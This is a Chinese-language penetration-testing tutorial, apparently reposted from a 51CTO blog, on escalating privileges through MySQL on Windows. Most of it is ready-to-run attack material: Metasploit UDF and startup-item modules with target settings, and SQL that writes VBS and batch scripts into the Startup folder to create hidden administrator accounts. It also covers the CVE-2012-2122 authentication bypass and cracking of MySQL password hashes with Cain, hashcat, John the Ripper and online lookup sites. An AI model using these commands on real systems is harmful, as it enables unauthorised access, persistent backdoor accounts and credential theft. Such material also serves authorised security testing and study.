Kali滲透測試平台下執行(kali下載下傳位址https://www.kali.org/downloads/):

<code>msfconsole</code>

<code>use exploit/windows/mysql/mysql_payload</code>

<code>options</code>

<code>set</code> <code>rhost 192.168.2.1</code>

<code>set</code> <code>rport 3306</code>

<code>set</code> <code>password</code> <code>123456</code>

<code>run 0或者exploit</code>

msf下udf提權成功率并不高,跟windows作業系統版本,權限和資料庫版本有關,特别是secure-file-priv選項,如果有該選項基本不會成功。

1.6.4 啟動項提權

1. 建立表并插入vbs腳本到表中

依次使用以下指令:

<code>show databases ;</code>

<code>use test;</code>

<code>show tables;</code>

<code>create</code> <code>table</code> <code>a (cmd text); </code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"set wshshell=createobject ("</code><code>"wscript.shell"</code><code>" ) "</code> <code>); </code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"a=wshshell.run ("</code><code>"cmd.exe /c net user aspnetaspnettest/add"</code><code>",0)"</code><code>) ;</code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"b=wshshell.run ("</code><code>"cmd.exe /c net localgroup Administrators aspnet /add"</code><code>",0) "</code> <code>); </code>

<code>select</code> <code>* </code><code>from</code> <code>a;</code>

2. 導出 vbs 腳本到啟動

使用以下指令将剛才在a表中建立的vbs腳本導出到啟動選項中。

<code>select</code> <code>* </code><code>from</code> <code>a </code><code>into</code> <code>outfile </code><code>"C:\\Documents and Settings\\All Users\\「開始」菜單\\程式\\啟動\\a.vbs"</code><code>;</code>

導入成功後,系統重新啟動時會自動添加密碼為“1”且使用者名稱為“1”的使用者到管理者組中。在實際使用過程中該腳本成功執行的幾率比較低,有時候會出現不能導出的錯誤。

推薦使用以下腳本:

<code>create</code> <code>table</code> <code>b (cmd text); </code>

<code>insert</code> <code>into</code> <code>b </code><code>values</code> <code>(</code><code>"net user Aspnet123545345!* /add"</code><code>);</code>

<code>insert</code> <code>into</code> <code>b </code><code>values</code> <code>(</code><code>"net localgroup administrators Aspnet /add"</code><code>);</code>

<code>insert</code> <code>into</code> <code>b </code><code>values</code> <code>(</code><code>"del b.bat"</code><code>);</code>

<code>select</code> <code>* </code><code>from</code> <code>b </code><code>into</code> <code>outfile </code><code>"C:\\Documents and Settings\\All Users\\「開始」菜單\\程式\\啟動\\b.bat"</code><code>;</code>

該腳本執行後雖然會閃現Dos視窗,如果有權限導入到啟動選項中,則一定會執行成功,在虛拟機中通過MySQL連接配接器連接配接并執行以上指令後,在“C:\Documents and Settings\All Users\「開始」菜單\程式\啟動”目錄中會有剛才導出的b.bat腳本檔案

說明

在不同的作業系統中“C:\Documents and Settings\All Users\「開始」菜單\程式\啟動”目錄檔案名稱可能會不同,這個時候就要将其目錄換成相應的目錄名稱即可。例如如果是英文版本作業系統則其插入的代碼為:

<code>select</code> <code>* </code><code>from</code> <code>b </code><code>into</code> <code>outfile </code><code>"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat"</code><code>;</code>

<code>Windows 2008 Server的啟動目錄為:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs</code>

其vbs方法可以參考如下寫法:

<code>create</code> <code>table</code> <code>a (cmd text);</code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"set wshshell=createobject ("</code><code>"wscript.shell"</code><code>" ) "</code> <code>);</code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"a=wshshell.run ("</code><code>"cmd.exe /c net user antian365 qwer1234!@# /add"</code><code>",0) "</code> <code>);</code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"b=wshshell.run ("</code><code>"cmd.exe /c net localgroup Administrators antian365 /add"</code><code>",0) "</code> <code>);</code>

<code>select</code> <code>* </code><code>from</code> <code>a </code><code>into</code> <code>outfile </code><code>"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs"</code><code>;</code>

3.msf下子產品exploit/windows/mysql/mysql_start_up提權

<code>   </code><code>use exploit/windows/mysql/mysql_start_up</code>

msf下mysql_start_up提權有一定的幾率,對英文版系統支援較好。

1.7-Msf其它相關漏洞提權

1. Mysql身份認證漏洞及利用(CVE-2012-2122)

當連接配接MariaDB/MySQL時,輸入的密碼會與期望的正确密碼比較,由于不正确的處理,會導緻即便是memcmp()傳回一個非零值,也會使MySQL認為兩個密碼是相同的。也就是說隻要知道使用者名,不斷嘗試就能夠直接登入SQL資料庫。按照公告說法大約256次就能夠蒙對一次。受影響的産品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2. exploit/windows/mysql/mysql_yassl_hello

3. exploit/windows/mysql/scrutinizer_upload_exec

1.8.-mysql密碼破解

1.8.1 cain工具破解mysql密碼

使用UltraEdit-32編輯器直接打開user.MYD檔案,打開後使用二進制模式進行檢視,在root使用者後面是一串字元串,選中這些字元串将其複制到記事本中,這些字元串即為使用者加密值,例如506D1427F6F61696B4501445C90624897266DAE3。

(1)root後面的“*”不要複制到字元串中。

(2)在有些情況下需要往後面看看,否則得到的不是完整的MYSQLSHA1密碼,總之其正确的密碼位數是40位。

安裝cain工具,使用cracker,右鍵單擊“Add tolist”将Mysql Hashes值加入到破解清單中,使用軟體中的字典、暴力破解等方式來進行暴力破解。

1.8.2 網站線上密碼破解

1.cmd5.com破解。将擷取的mysql值放在cmd5.com網站中進行查詢,mysql密碼一般都是收費的。

2.somd5.com破解。Somd5.com是後面出現的一個免費破解網站,每次破解需要手工選擇圖形碼進行破解,速度快,效果好,隻是每次隻能破解一個,而且破解一次後需要重新輸入驗證碼。

1.8.3 oclhash破解

hashcat支援很多種破解算法,免費開源軟體,官方網站https://hashcat.net/hashcat/,破解指令:

<code>hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323類型</code>

<code>hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5類型</code>

1.8.4 John the Ripper password cracker

John the Ripper下載下傳位址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper除了能夠破解linux外,還能破解多種格式的密碼。

<code>Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B&gt;hashes.txt</code>

<code>John –format =mysql-sha1 hashes.txt</code>

<code>john </code><code>--list=formats | grep mysql //檢視支援mysql密碼破解的算法</code>

 本文轉自 simeon2005 51CTO部落格,原文連結:http://blog.51cto.com/simeon/1981572